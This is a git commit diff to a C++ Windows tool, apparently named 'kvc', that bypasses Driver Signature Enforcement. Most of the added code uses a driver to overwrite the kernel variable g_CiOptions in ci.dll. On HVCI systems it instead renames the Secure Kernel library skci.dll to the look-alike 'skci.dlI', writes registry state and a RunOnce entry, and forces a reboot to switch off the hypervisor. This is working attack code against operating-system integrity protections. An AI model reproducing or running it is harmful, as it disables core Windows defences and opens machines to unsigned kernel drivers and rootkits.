Aktualizacja: 2025-10-18 15:32:14

This commit is contained in:
wesmar
2025-10-18 15:32:14 +02:00
parent cb42afe402
commit e4d12fc1df
5 changed files with 128 additions and 68 deletions

View File

@@ -2,12 +2,13 @@
#include "common.h"
bool Controller::DisableDSE() noexcept {
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for DSE bypass");
return false;
}
// Explicitly open driver handle
if (!m_rtc->Initialize()) {
ERROR(L"Failed to initialize driver handle");
EndDriverSession(true);
@@ -20,6 +21,86 @@ bool Controller::DisableDSE() noexcept {
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
}
auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
EndDriverSession(true);
return false;
}
ULONG_PTR ciOptionsAddr = m_dseBypass->FindCiOptions(ciBase.value());
if (!ciOptionsAddr) {
ERROR(L"Failed to locate g_CiOptions");
EndDriverSession(true);
return false;
}
auto current = m_rtc->Read32(ciOptionsAddr);
if (!current) {
ERROR(L"Failed to read g_CiOptions");
EndDriverSession(true);
return false;
}
DWORD currentValue = current.value();
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
bool hvciEnabled = (currentValue & 0x0001C000) != 0;
if (hvciEnabled) {
std::wcout << L"\n";
INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue);
INFO(L"Direct kernel memory patching blocked by hypervisor");
INFO(L"Initiating non-invasive HVCI bypass strategy...");
std::wcout << L"\n";
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
INFO(L"No files will be permanently modified or deleted");
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, changes reverted");
std::wcout << L"\n";
DEBUG(L"Closing driver handle before file operations...");
m_rtc->Cleanup();
DEBUG(L"Unloading and removing driver service...");
EndDriverSession(true);
DEBUG(L"Driver fully unloaded, proceeding with skci.dll rename...");
if (!m_dseBypass->RenameSkciLibrary()) {
ERROR(L"Failed to rename skci.dll");
return false;
}
if (!m_dseBypass->SaveDSEState(currentValue)) {
ERROR(L"Failed to save DSE state to registry");
return false;
}
if (!m_dseBypass->CreateRunOnceEntry()) {
ERROR(L"Failed to create RunOnce entry");
return false;
}
SUCCESS(L"HVCI bypass prepared successfully");
INFO(L"System will disable hypervisor on next boot");
INFO(L"Reboot required to complete DSE bypass");
INFO(L"After reboot, DSE will be automatically disabled");
std::wcout << L"\n";
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
system("shutdown /r /t 0");
}
return true;
}
bool result = m_dseBypass->DisableDSE();
EndDriverSession(true);
@@ -28,6 +109,8 @@ bool Controller::DisableDSE() noexcept {
}
bool Controller::RestoreDSE() noexcept {
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for DSE restore");
return false;
@@ -39,7 +122,6 @@ bool Controller::RestoreDSE() noexcept {
return false;
}
// Always create new object - program starts from scratch between invocations
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
bool result = m_dseBypass->RestoreDSE();
@@ -50,6 +132,8 @@ bool Controller::RestoreDSE() noexcept {
}
bool Controller::DisableDSEAfterReboot() noexcept {
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
return false;
@@ -81,6 +165,8 @@ ULONG_PTR Controller::GetCiOptionsAddress() const noexcept {
}
bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for DSE status check");
return false;
@@ -96,7 +182,6 @@ bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
}
// Find ci.dll and locate g_CiOptions
auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
@@ -111,7 +196,6 @@ bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
return false;
}
// Read current value
auto currentValue = m_rtc->Read32(outAddress);
if (!currentValue) {
ERROR(L"Failed to read g_CiOptions value");

View File

@@ -29,7 +29,7 @@ DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* trus
bool DSEBypass::DisableDSE() noexcept {
DEBUG(L"Attempting to disable Driver Signature Enforcement...");
// Step 1: Find ci.dll base address
// Find ci.dll kernel module base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
@@ -38,7 +38,7 @@ bool DSEBypass::DisableDSE() noexcept {
DEBUG(L"ci.dll base: 0x%llX", ciBase.value());
// Step 2: Locate g_CiOptions in CiPolicy section
// Locate g_CiOptions variable in CiPolicy section
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"Failed to locate g_CiOptions");
@@ -47,7 +47,7 @@ bool DSEBypass::DisableDSE() noexcept {
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value
// Read current DSE value from kernel memory
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"Failed to read g_CiOptions");
@@ -58,71 +58,26 @@ bool DSEBypass::DisableDSE() noexcept {
m_originalValue = currentValue;
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
// Step 4a: Handle already disabled case
// Check if DSE is already disabled
if (currentValue == 0x00000000) {
INFO(L"DSE already disabled - no action required");
SUCCESS(L"Kernel accepts unsigned drivers");
return true;
}
// Step 4b: Check for HVCI/VBS - require rename strategy
if (currentValue & 0x0001C000) {
std::wcout << L"\n";
INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue);
INFO(L"Direct kernel memory patching blocked by hypervisor");
INFO(L"Initiating non-invasive HVCI bypass strategy...");
std::wcout << L"\n";
// HVCI bypass is handled in Controller::DisableDSE() before calling this function
// This function only handles standard DSE patching
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
SUCCESS(L"System configuration: skci.dll → skci.dlI (reversible)");
INFO(L"No files will be permanently modified or deleted");
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, skci.dll restored");
std::wcout << L"\n";
if (!RenameSkciLibrary()) {
ERROR(L"Failed to rename skci.dll");
return false;
}
if (!SaveDSEState(currentValue)) {
ERROR(L"Failed to save DSE state to registry");
return false;
}
if (!CreateRunOnceEntry()) {
ERROR(L"Failed to create RunOnce entry");
return false;
}
SUCCESS(L"HVCI bypass prepared successfully");
INFO(L"System will disable hypervisor on next boot");
INFO(L"Reboot required to complete DSE bypass");
INFO(L"After reboot, DSE will be automatically disabled");
// Prompt for reboot
std::wcout << L"\n";
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
system("shutdown /r /t 0");
}
return true;
}
// Step 5: Verify we have patchable DSE (0x00000006)
// Verify we have patchable DSE value (0x00000006)
if (currentValue != 0x00000006) {
INFO(L"Unexpected g_CiOptions value: 0x%08X", currentValue);
INFO(L"Expected: 0x00000006 (patchable) or 0x0001C006 (HVCI)");
INFO(L"Expected: 0x00000006 (patchable DSE)");
INFO(L"DSE may already be disabled or system in non-standard configuration");
INFO(L"Use 'kvc dse' to verify current state");
return false;
}
// Step 6: Disable DSE by clearing bits 1 and 2
// Disable DSE by clearing bits 1 and 2
DWORD newValue = 0x00000000;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
@@ -130,7 +85,7 @@ bool DSEBypass::DisableDSE() noexcept {
return false;
}
// Step 7: Verify the change
// Verify the modification was successful
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",

View File

@@ -5,7 +5,7 @@
#include <optional>
#include <utility>
// Forward declaration - MUSI BYĆ PRZED class DSEBypass
// Forward declaration
class TrustedInstallerIntegrator;
class DSEBypass {
@@ -26,22 +26,24 @@ public:
ULONG_PTR GetCiOptionsAddress() const noexcept { return m_ciOptionsAddr; }
DWORD GetOriginalValue() const noexcept { return m_originalValue; }
// Helper functions (needed for status check from kvc.cpp)
// Helper functions (needed for status check from kvc.cpp AND Controller)
std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept;
ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;
// HVCI bypass workflow
bool DisableDSEAfterReboot() noexcept;
// ===== NOWE: Upublicznione dla Controller::DisableDSE() =====
bool RenameSkciLibrary() noexcept;
bool SaveDSEState(DWORD originalValue) noexcept;
bool CreateRunOnceEntry() noexcept;
private:
// Internal PE parsing helpers
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept;
// HVCI bypass helpers
bool RenameSkciLibrary() noexcept;
// HVCI bypass helpers (RestoreSkciLibrary pozostaje private)
bool RestoreSkciLibrary() noexcept;
bool CreateRunOnceEntry() noexcept;
bool SaveDSEState(DWORD originalValue) noexcept;
bool LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept;
bool ClearDSEState() noexcept;

View File

@@ -310,10 +310,26 @@ int wmain(int argc, wchar_t* argv[])
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
postReboot = true;
// Check if skci.dlI exists
wchar_t sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
std::wstring checkPath = std::wstring(sysDir) + L"\\skci.dlI";
DWORD attrs = GetFileAttributesW(checkPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
// skci.dlI doesn't exist - stale registry entry
RegCloseKey(hKey);
DEBUG(L"Stale registry state detected, clearing...");
RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE");
hKey = nullptr;
} else {
postReboot = true;
}
}
}
RegCloseKey(hKey);
if (hKey) {
RegCloseKey(hKey);
}
}
if (postReboot) {
@@ -821,7 +837,7 @@ int wmain(int argc, wchar_t* argv[])
// Combine remaining arguments
std::wstring fullCommand;
for (int i = 2; i < argc; i++) {
if (i > 2) fullCommand += L"";
if (i > 2) fullCommand += L" ";
fullCommand += argv[i];
}

View File

@@ -93,6 +93,7 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
ss << L"\r\n";
std::wcout << ss.str();
std::wcout.flush(); // <--- DODAJ TO!
}
// Print critical message in red color
@@ -118,6 +119,8 @@ void PrintCriticalMessage(const wchar_t* format, Args&&... args) {
ss << L"\r\n";
std::wcout << ss.str();
std::wcout.flush();
SetConsoleTextAttribute(hConsole, originalColor);
}